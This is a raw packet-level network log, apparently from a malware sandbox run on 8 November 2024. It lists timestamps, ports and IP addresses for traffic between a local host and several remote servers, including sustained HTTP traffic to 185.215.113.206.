Nov 8, 2024 15:21:07.790795088 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:07.979692936 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:07.985042095 CET	49774	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:07.985050917 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:07.985729933 CET	49774	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:07.985734940 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:07.985811949 CET	49774	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:07.985819101 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:08.039375067 CET	443	49778	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.039431095 CET	49778	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.041093111 CET	443	49777	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.041188955 CET	49777	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.046961069 CET	443	49780	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.047485113 CET	49780	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.047504902 CET	443	49780	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.048506975 CET	443	49780	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.048568010 CET	49780	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.049793959 CET	49780	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.049844980 CET	443	49780	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.050000906 CET	49780	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.050009012 CET	443	49780	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.108499050 CET	443	49779	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.109798908 CET	49779	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.109817982 CET	443	49779	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.110801935 CET	443	49779	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.110869884 CET	49779	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.111253977 CET	49779	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.111299992 CET	443	49779	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.181435108 CET	443	49780	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.181510925 CET	49780	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.182022095 CET	49780	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.182038069 CET	443	49780	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.191169977 CET	49779	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.191183090 CET	443	49779	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:08.309964895 CET	49779	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:08.386415005 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:08.386429071 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:08.386464119 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:08.386506081 CET	49774	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:08.386521101 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:08.386528969 CET	49774	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:08.387701035 CET	49774	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:08.387711048 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:08.387715101 CET	49774	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:08.387814999 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:08.387839079 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:08.390136957 CET	49774	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:08.508558989 CET	49784	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:08.508615017 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:08.508769989 CET	49784	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:08.509000063 CET	49784	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:08.509010077 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:08.556773901 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:08.556823969 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:08.557413101 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:08.557665110 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:08.557674885 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:08.563328981 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:08.568557024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:08.681984901 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:08.682030916 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:08.682110071 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:08.682297945 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:08.682311058 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:08.863811016 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:08.863833904 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:08.863846064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:08.863857985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:08.863867998 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:08.863868952 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:08.863879919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:08.863892078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:08.863898993 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:08.863903999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:08.863945961 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:08.863945961 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:08.863960028 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.152168989 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.152182102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.152297974 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.152559996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.152573109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.152621984 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.152647018 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.153012037 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.153099060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.153565884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.153671026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.154030085 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.154041052 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.154120922 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.154561043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.154612064 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.155008078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.155020952 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.155071020 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.155982018 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.156047106 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.156146049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.156270027 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.156841040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.156913042 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.157119989 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.157243013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.157633066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.157701969 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.157731056 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.157839060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.158601046 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.158668041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.268950939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.269031048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.269035101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.269046068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.269083023 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.269083023 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.269221067 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.269279957 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.269417048 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.269428015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.269475937 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.269891024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.269951105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.269953966 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.269962072 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.269988060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.270032883 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.296670914 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.297166109 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.297173977 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.298049927 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.298106909 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.299202919 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.299263000 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.299434900 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.299443007 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.306291103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.306313038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.306324005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.306380033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.306380033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.306498051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.306559086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.306638956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.306714058 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.306852102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.306863070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.306907892 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.307190895 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.307204008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.307281971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.307281971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.307745934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.307759047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.307811975 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.308152914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.308212996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.308345079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.308358908 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.308367014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.308409929 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.308415890 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.308836937 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.308846951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.308904886 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.471199036 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.617448092 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.617671013 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.617698908 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.618709087 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.618782997 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.619174004 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.619235039 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.619347095 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.620537043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.620552063 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.620562077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.620573997 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.620585918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.620595932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.620606899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.620692968 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.620692968 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.620692968 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.621253014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.621267080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.621277094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.621289968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.621314049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.621325970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.621337891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.621350050 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.621367931 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.621380091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.621567965 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.621567965 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.621567965 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.621567965 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.621567965 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.624474049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.624744892 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.634006023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634016991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634027958 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634040117 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634051085 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634063005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634073973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634084940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634098053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634108067 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634762049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634773016 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634783030 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634793997 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634804010 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.634852886 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.634852886 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.634852886 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.634852886 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.634969950 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.635348082 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.635998011 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.636024952 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.636034012 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.636048079 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.636054993 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.636059046 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.636075974 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.636081934 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.636110067 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.636133909 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.660650015 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.660672903 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.674237013 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.674249887 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.674283028 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.674304008 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.674310923 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.674325943 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.674336910 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.674357891 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.674388885 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.769916058 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.770178080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.770234108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.770242929 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.770420074 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.770420074 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.770512104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.770523071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.770531893 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.770648003 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.770648003 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.770766020 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.770817041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.770953894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.770988941 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.770999908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.771145105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.771156073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.771171093 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.771172047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.771214008 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.771214008 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.771214008 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.771672010 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.771682978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.771694899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.771770000 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.771779060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.771787882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.771836996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.772032022 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.772135973 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.772263050 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.772274017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.772289038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.772306919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.772497892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.772572994 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.772654057 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.772654057 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.772654057 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.772654057 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.791874886 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.791887999 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.791923046 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.791954041 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.791960001 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.791968107 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.792004108 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.867500067 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:09.868096113 CET	49784	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:09.868129015 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:09.868818998 CET	49784	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:09.868832111 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:09.868908882 CET	49784	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:09.868918896 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:09.890683889 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.890705109 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.890712023 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.890775919 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.890801907 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.890815020 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.891103983 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.891113043 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.891120911 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.891243935 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.910264015 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.910276890 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.910299063 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.910331964 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.910337925 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.910387993 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.925436974 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.925448895 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.925458908 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.925597906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.925610065 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.925616980 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.925616980 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.925621986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.925683022 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.925683022 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.926084995 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.926098108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.926109076 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.926146030 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.926258087 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.926268101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.926316023 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.926476955 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.926489115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.926800013 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.926811934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.926820040 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.926821947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.926832914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.926942110 CET	49753	80	192.168.2.8	185.215.113.206
